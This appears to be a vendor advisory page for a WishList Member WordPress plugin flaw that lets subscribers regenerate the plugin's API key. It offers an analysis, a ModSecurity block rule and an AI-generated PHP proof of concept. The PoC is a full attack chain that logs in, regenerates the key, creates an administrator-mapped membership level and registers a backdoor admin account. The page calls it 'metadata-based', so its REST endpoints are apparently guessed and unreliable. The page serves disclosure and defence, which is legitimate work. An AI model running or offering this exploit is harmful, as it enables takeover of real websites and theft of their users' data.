Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-6898: WishList Member <= 3.30.1 – Missing Authorization to Authenticated (Subscriber+) Generate API Secret Key via 'wlm3_generate_api_key' AJAX action (wishlist-member-x)

CVE ID CVE-2026-6898
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 3.30.1
Patched Version
Disclosed May 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6898 (metadata-based): This vulnerability allows authenticated attackers with Subscriber-level access to generate a new REST API secret key in the WishList Member plugin versions up to 3.30.1. The CVSS score is 8.8 (High) with network access, low complexity, and no user interaction required.

The root cause is a missing capability check on the ‘WishListMember3_Hooks::generate_api_key’ function. The CWE classification (269 Improper Privilege Management) indicates the plugin failed to verify user permissions before processing the AJAX request. This is confirmed by the vulnerability description which states there is no capability check on the function. The function generates a new REST API secret key, which when replaced, becomes the attacker’s own known value.

Exploitation uses the WordPress admin-ajax.php endpoint. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘wlm3_generate_api_key’. No nonce or capability verification is required. Once the API key is regenerated, the attacker uses that key to authenticate to the WishList Member REST API. With API access, the attacker creates a new membership level that maps to the WordPress Administrator role, then registers a new user account with that membership level. This creates a new administrator account, granting full site control.

The remediation for this vulnerability requires adding a capability check to the ‘WishListMember3_Hooks::generate_api_key’ function. The function should verify the user has ‘manage_options’ capability or a similar administrative permission before allowing the API key to be regenerated. The patch should also verify nonce values properly and restrict API key generation to authenticated users with sufficient privileges.

Exploitation results in complete site takeover. An attacker gains full administrative access to the WordPress installation. This includes the ability to modify content, install plugins, change themes, access user data, and potentially establish persistent access for future control. The compromise cannot be easily detected because the attacker creates a legitimate administrator account through the normal registration process.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6898 (metadata-based)
# Blocks attackers from generating new API keys via vulnerable AJAX endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20266898,phase:2,deny,status:403,chain,msg:'CVE-2026-6898 WishList Member API Key Generation Bypass',severity:'CRITICAL',tag:'CVE-2026-6898',tag:'wordpress',tag:'wishlist-member'"
    SecRule ARGS_POST:action "@streq wlm3_generate_api_key" "chain"
        SecRule ARGS_POST:action "@streq wlm3_generate_api_key" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6898 - WishList Member <= 3.30.1 - Missing Authorization to Authenticated (Subscriber+) Generate API Secret Key

/*
 * This PoC demonstrates how an authenticated subscriber can:
 * 1. Generate a new REST API key
 * 2. Use that API key to create a new membership level with admin privileges
 * 3. Register a new administrator account
 * 
 * Assumptions:
 * - Target runs WordPress with WishList Member plugin version <= 3.30.1
 * - Attacker has valid subscriber credentials
 * - The plugin REST API endpoint structure follows typical patterns
 */

$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site
$attacker_username = 'subscriber_user'; // CHANGE THIS
$attacker_password = 'subscriber_password'; // CHANGE THIS

// Step 1: Login as subscriber to get WordPress cookies and nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $attacker_username,
    'pwd' => $attacker_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Generate new API key via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$generate_key_data = array(
    'action' => 'wlm3_generate_api_key'
);

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($generate_key_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Requested-With: XMLHttpRequest',
    'Referer: ' . $target_url . '/wp-admin/admin.php?page=wishlist-member'
));
$key_response = curl_exec($ch);
curl_close($ch);

$key_data = json_decode($key_response, true);
if (!$key_data || !isset($key_data['secret_key'])) {
    die("Failed to generate new API key. Response: " . $key_response);
}
$new_api_key = $key_data['secret_key'];
echo "[+] New API key generated: " . $new_api_key . "n";

// Step 3: Create a new membership level with admin role via REST API
$rest_url = $target_url . '/wp-json/wishlist-member/v1/levels';
$level_data = array(
    'name' => 'PWN Level',
    'role' => 'administrator',
    'registration' => array(
        'enabled' => true
    )
);

$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($level_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WLM-API-Key: ' . $new_api_key
));
$level_response = curl_exec($ch);
curl_close($ch);

$level_result = json_decode($level_response, true);
if (!$level_result || !isset($level_result['id'])) {
    die("Failed to create membership level. Response: " . $level_response);
}
$level_id = $level_result['id'];
echo "[+] Membership level created with ID: " . $level_id . "n";

// Step 4: Register a new user with the malicious membership level
$register_url = $target_url . '/wp-json/wishlist-member/v1/register';
$new_user = array(
    'username' => 'admin_pwn_' . time(),
    'password' => 'PwnedPassword123!',
    'email' => 'admin_pwn_' . time() . '@example.com',
    'first_name' => 'Admin',
    'last_name' => 'Pwn',
    'level_id' => $level_id
);

$ch = curl_init($register_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($new_user));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WLM-API-Key: ' . $new_api_key
));
$register_response = curl_exec($ch);
curl_close($ch);

$register_result = json_decode($register_response, true);
if ($register_result && isset($register_result['user_id'])) {
    echo "[+] New admin user created!n";
    echo "    Username: " . $new_user['username'] . "n";
    echo "    Password: " . $new_user['password'] . "n";
    echo "    Login at: " . $target_url . "/wp-adminn";
} else {
    echo "[-] Failed to register user. Response: " . $register_response . "n";
}

// Cleanup
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School